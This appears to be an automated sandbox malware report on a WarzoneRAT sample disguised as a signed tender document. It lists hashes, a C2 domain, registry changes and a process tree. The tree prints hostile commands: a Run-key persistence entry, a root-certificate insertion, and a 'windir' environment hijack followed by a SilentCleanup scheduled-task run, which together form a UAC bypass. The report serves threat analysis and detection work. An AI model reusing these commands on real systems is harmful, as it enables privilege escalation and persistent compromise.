Analysis
- max time kernel
122s - max time network
177s - platform
windows7_x64 - resource
win7-en-20211104 - submitted
03/12/2021, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
Tender SN980018277 & SN9901827 Signed Copy.exe
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Tender SN980018277 & SN9901827 Signed Copy.exe
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
General
- Target Tender SN980018277 & SN9901827 Signed Copy.exe
- Size 812KB
- Sample211203-ppx28abec4
- SHA256 6072185720cbcf2add1e2ada668484a4d55c601fcb2840ca6b7fbf9dfacdefb8
- MD5 78e0265f9bc8991dbb309aa52612eb46
- SHA1 e0fd6e42295538f9793f55dadac40319176f28f4
- SHA512 5f500e0dd5d0c2f280490d65f7c96701902dffee96e218efec910da9674c19b65fed446e4f7285b76aef8e0c6cb2c60a99f79fdb063c3e0ec165ebb9701c734f
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Family
-
warzonerat
C2
-
pentester01.duckdns.org:60977
Signatures
- WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
- Warzone RAT Payload 1 IoCs
resource yara_rule behavioral1/memory/1876-76-0x0000000000270000-0x00000000003C4000-memory.dmp warzonerat - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Windows\CurrentVersion\Run\Jrnenbsz = "C:\\Users\\Admin\\zsbnenrJ.url" Tender SN980018277 & SN9901827 Signed Copy.exe - Modifies registry key 1 TTPs 3 IoCs
pid Process 2020 reg.exe 1724 reg.exe 1304 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Tender SN980018277 & SN9901827 Signed Copy.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tender SN980018277 & SN9901827 Signed Copy.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tender SN980018277 & SN9901827 Signed Copy.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tender SN980018277 & SN9901827 Signed Copy.exe - Suspicious use of WriteProcessMemory 40 IoCs
description pid Process procid_target PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1876 368 Tender SN980018277 & SN9901827 Signed Copy.exe 30 PID 368 wrote to memory of 1780 368 Tender SN980018277 & SN9901827 Signed Copy.exe 31 PID 368 wrote to memory of 1780 368 Tender SN980018277 & SN9901827 Signed Copy.exe 31 PID 368 wrote to memory of 1780 368 Tender SN980018277 & SN9901827 Signed Copy.exe 31 PID 368 wrote to memory of 1780 368 Tender SN980018277 & SN9901827 Signed Copy.exe 31 PID 1780 wrote to memory of 1752 1780 cmd.exe 33 PID 1780 wrote to memory of 1752 1780 cmd.exe 33 PID 1780 wrote to memory of 1752 1780 cmd.exe 33 PID 1780 wrote to memory of 1752 1780 cmd.exe 33 PID 1752 wrote to memory of 2020 1752 cmd.exe 35 PID 1752 wrote to memory of 2020 1752 cmd.exe 35 PID 1752 wrote to memory of 2020 1752 cmd.exe 35 PID 1752 wrote to memory of 2020 1752 cmd.exe 35 PID 1752 wrote to memory of 1724 1752 cmd.exe 36 PID 1752 wrote to memory of 1724 1752 cmd.exe 36 PID 1752 wrote to memory of 1724 1752 cmd.exe 36 PID 1752 wrote to memory of 1724 1752 cmd.exe 36 PID 1752 wrote to memory of 868 1752 cmd.exe 37 PID 1752 wrote to memory of 868 1752 cmd.exe 37 PID 1752 wrote to memory of 868 1752 cmd.exe 37 PID 1752 wrote to memory of 868 1752 cmd.exe 37 PID 1752 wrote to memory of 1304 1752 cmd.exe 38 PID 1752 wrote to memory of 1304 1752 cmd.exe 38 PID 1752 wrote to memory of 1304 1752 cmd.exe 38 PID 1752 wrote to memory of 1304 1752 cmd.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tender SN980018277 & SN9901827 Signed Copy.exe"C:\Users\Admin\AppData\Local\Temp\Tender SN980018277 & SN9901827 Signed Copy.exe"1⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\SysWOW64\DpiScaling.exeC:\Windows\System32\DpiScaling.exe2⤵PID:1876
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\Jrnenbszt.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\JrnenbszO.bat3⤵
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2020
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start C:\Users\Admin\Jrnenbsz.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:1724
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:868
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1304
-
-
-